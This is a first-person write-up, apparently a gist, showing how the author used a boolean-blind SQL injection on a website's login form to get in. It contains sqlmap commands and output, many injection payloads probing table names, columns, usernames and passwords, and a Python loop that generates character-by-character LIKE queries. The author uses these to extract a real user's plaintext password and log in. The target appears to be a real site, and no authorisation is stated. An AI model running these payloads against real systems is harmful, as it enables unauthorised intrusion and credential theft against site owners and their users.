In this gist I show how I leveraged a boolean-blind sql injection to gain access to a protected website. The injection allowed me query the website database and retrieve a valid pair username/password. Using the retrieved credentials I was able to login into the protected section of the website.
To perform the attack I used:
- sqlmap to discover the website was vulnerable to SQL injections.
- Burp Suite to forge and send POST requests to the website login page, carrying payloads opportunely crafted with SQL queries.
- Python: to iteratively generate queries containing canditate usernames and passwords
The attacked website was showing me a login.php
page. The relevant part of the login page was the form
<form name="form1" id="customForm" action="login.php" method="post">
<div>
<label for="username">Username</label>
<input type="textbox" name="username" id="username">
</div>
<div>
<label for="password">Password</label>
<input type="password" name="password" id="password">
</div>
<div>
<input type="submit" id="submit" name="submit">
</div>
</form>
The first thing I needed to do was to test the inputs for possible SQL-injection vulnerabilities. To perform these tests I started Burp Suite and its Intercept proxy. Then, I filled the website login page with a pair random credentials and submitted the form with the aim of having the POST request captured by Burp Suite. Once the POST request was captured, I copied it to a text file attack.txt
ready to be used with sqlmap as
./sqlmap.py -r attack.txt -p username --level 3 --risk 3
sqlmap discovered pretty easily the backed database was a MySQL. It also discovered field username
was vulnerable to two blind injections
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: username=-4968' OR 2311=2311-- LKbI&password=test123
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=test123' AND (SELECT 3532 FROM (SELECT(SLEEP(5)))GbfY)-- Wwtp&password=test123
---
And now the interesting stuff. How to leverage the vulnerabilities to gain access to the website. Being able to perform blind SQL injections is good but doesn't make life that easy. Indeed, you cannot get back any query result from the backend database, you can just infer the result of a certain query by observing changes in the HTTP response.
And this is what I've done.
I started sending SQL queries OR
-ed with an invalid username
and noticed that:
- when the
OR
-ed query was evaluated to true, the server was responding with a 302 redirection to the login page - when the
OR
-ed query was evaluated to false, the server was responding with a 200 redirection to the login page
So basically the difference in the response code was allowing me to determine whether a certain query was evaluated to true or false.
Not much, but I was able to use this to infer, in order:
- The structure of the database - at least of the table containing users
- A valid username
- A valid password for the username
First of all, I wanted to find the structure of the database. So I started probing for common table names such as db_users
, users_table
, users
using the following queries injected into the username
field submitted with the POST:
-4968' OR exists(SELECT 1 FROM db_users limit 1)-- LKbI
-4968' OR exists(SELECT 1 FROM users limit 1)-- LKbI
As you can see the first part of any query is -4968
which is just an invalid username. Then there is a '
which closes the first query and allows me to write additional SQL starting from OR
. I used the exists
to test for several possible table names and performed the POST requests with the opportunely crafted username
using Burp Suite. I easily got the following:
Whoho! I got the actual table name: users
! As you can see from the image, I got a 200 response from the first query as the OR
-ed condition evaluated to false, whereas I got the 302 response from the second query which evaluated to true! So users
is a table which exists in the database.
Ok, now it was time to guess for column names. Indeed, I needed the column containing usernames and also the column containing passwords. So I started guessing certain column names using a simple is not null
query along with the exists
.
Given the 302 responses, it seems the database has two columns likely used for usernames, namely, user_name
and username
, whereas it is pretty obvious that passwords are stored in column password
.
At this point, I started query for table users
, columm username
to look for common usernames such as admin, with no luck
-4968' OR exists(SELECT 1 FROM users where username = 'shadow' limit 1) -- LKbI
-4968' OR exists(SELECT 1 FROM users where username = 'admin' limit 1) -- LKbI
-4968' OR exists(SELECT 1 FROM users where username = 'administrator' limit 1) -- LKbI
As this approach was not working, I started using LIKE
queries to guess a username, one character at time. I started with
-4968' OR exists(SELECT 1 FROM users where username like 'a%' limit 1)-- LKbI
Ok. So there was at least one user starting with the a
:
To guess the second letter, I prepared a small python script to generate all the possible lowercase-letters combinations with a
:
>>> def char_range(c1, c2):
... """Generates the characters from `c1` to `c2`, inclusive."""
... for c in range(ord(c1), ord(c2)+1):
... yield chr(c)
...
>>> for c in char_range('a', 'z'):
... print("-4968' OR exists(SELECT 1 FROM users where username like 'a" + c + "%' limit 1)-- LKbI")
...
-4968' OR exists(SELECT 1 FROM users where username like 'aa%' limit 1)-- LKbI
-4968' OR exists(SELECT 1 FROM users where username like 'ab%' limit 1)-- LKbI
....
I pasted the 26 combinations in Burp Suite and found there was just one match: al
(again, look at the 302).
Then I repeated the same process to generate all the possible 26 combinations of lowercase-letters with the prefix al
. After just a bunch of additional iterations, I found a valid username existing in the database: alexander
(the actual name is not alexander
, I cannot disclose it as it may reveal possibly sensitive information).
Now it was time to discover the password associated to user alexander
. I discovered that passwords were stored in column password
but, were they hashed or stored in plaintext? The only way to know it was to start guessing the password for alexander
, again one character at time. So I extended the sql queries as follow
>>> for c in char_range('a', 'z'):
... print("-4968' OR exists(SELECT 1 FROM users where username = 'alexander' and password like '" + c + "%' limit 1) -- LKbI")
...
-4968' OR exists(SELECT 1 FROM users where username = 'alexander' and password like 'a%' limit 1) -- LKbI
-4968' OR exists(SELECT 1 FROM users where username = 'alexander' and password like 'b%' limit 1) -- LKbI
...
The first character of the password is an e
!
Iteratively repeating the query above, adding one new character every time allowed me to retrieve the complete password - which also turned out to be stored in plaintext in the database.
At this point, I had a valid username/password pair that I used to successfully log into the protected site. Bingo.
In this gist I showed a technique to retrieve usernames and passwords from a website backend database, just by using boolean-blind SQL injections. The technique allowed me to successfully login into the protected section of a website.